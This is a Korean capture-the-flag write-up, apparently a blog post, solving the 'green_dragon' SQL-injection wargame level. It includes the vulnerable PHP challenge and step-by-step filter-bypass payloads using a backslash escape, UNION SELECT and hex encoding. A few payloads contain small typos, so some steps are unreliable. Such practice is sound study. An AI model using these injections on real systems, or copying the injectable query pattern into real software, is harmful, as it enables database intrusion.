

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
🔹 $_GET[id],$_GET[pw] 파라미터 필터링
❌ prob, _, ., ', ", /i (대소문자를 구분하지 않음)
2.
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
2번째 쿼리에서 2중으로 prob, _, ., ', ", /i (대소문자를 구분하지 않음)가 필터링되는 것을 알 수 있다.
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
작은 따옴표(')를 우회 할 수 있는 큰 따옴표(") 또한 필터링 되어 있기 때문에, 백슬래시(\)로 우회해야한다.
그렇게 된다면,
id=\&pw=1
첫번째 쿼리에서 \' and pw=' 까지가 id가 되버린다.
SELECT문에서 id와 pw가 필요하기 때문에, UNION SELECT을 사용해야한다.
💙 UNION SELECT
서로 다른 테이블에서 얻어본 칼럼을 하나의 단일 집합으로 만들어주는 키워드이며, 불러오는 칼럼의 개수는 동일해야 한다.
id=/&pw= union select 1,2 -- -
두번째 쿼리를 보면, id=1, pw=2가 입력된 것을 확인할 수 있다.
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
id='admin' 이면, 성공적으로 출력되기 때문에, 아이디를 입력해야한다. 하지만, 작은 따옴표(')가 필터링 되기때문에 id=\&pw= union select id='admin을 사용하지 못한다.
일단, admin을 유니코드 정수로 바꿔보자.

char(97,100,109,105,110)
💙 ord - 문자를 유니코드 정수로 변환
💙 chr - 유니코드 정수를 받아서 문자를 반환
id=\&pw= union select char(97,110,109,105,110)-- -
아무런 반응이 없다.
쿼리1에만 코드가 넣어진걸로 인식되기 때문에 쿼리2에서 union select char이 안먹히는 것 같다.
id=\&pw= union select 0x5c,0x756e696f6e2073656c65637420636861722839372c3130302c3130392c3130352c313130292d2d202d-- -
char로 먹히지 않는다면, hex로 우회한다.
백슬래시(\)까지 16진수로 넣어줘야 하기때문에 같이 헥사로 변환해주었다.
백슬래시(\)로 우회해야할까?
이미 쿼리1에서 백슬래시를 사용했기때문에 쿼리2까지 넘어가지 않는다.
hex로 변환해야할까?ASCII코드는 문자의 정해진 번호를 뜻한다. 그렇기 때문에 16진수로 변환할 수 있다.
이번 문제는 몇 시간동안 헤매면서 풀었던 것 같다.
문제를 풀 때 단순하게 생각하기보단 왜 이렇게 풀어야했는지, 문제가 원하는 답이 무엇인지에 대해 정확하게 이해하다보니 시간이 많이 소비되었던 것 같다.
그래도 막상 이해하니 뿌듯하다 (❁´◡`❁)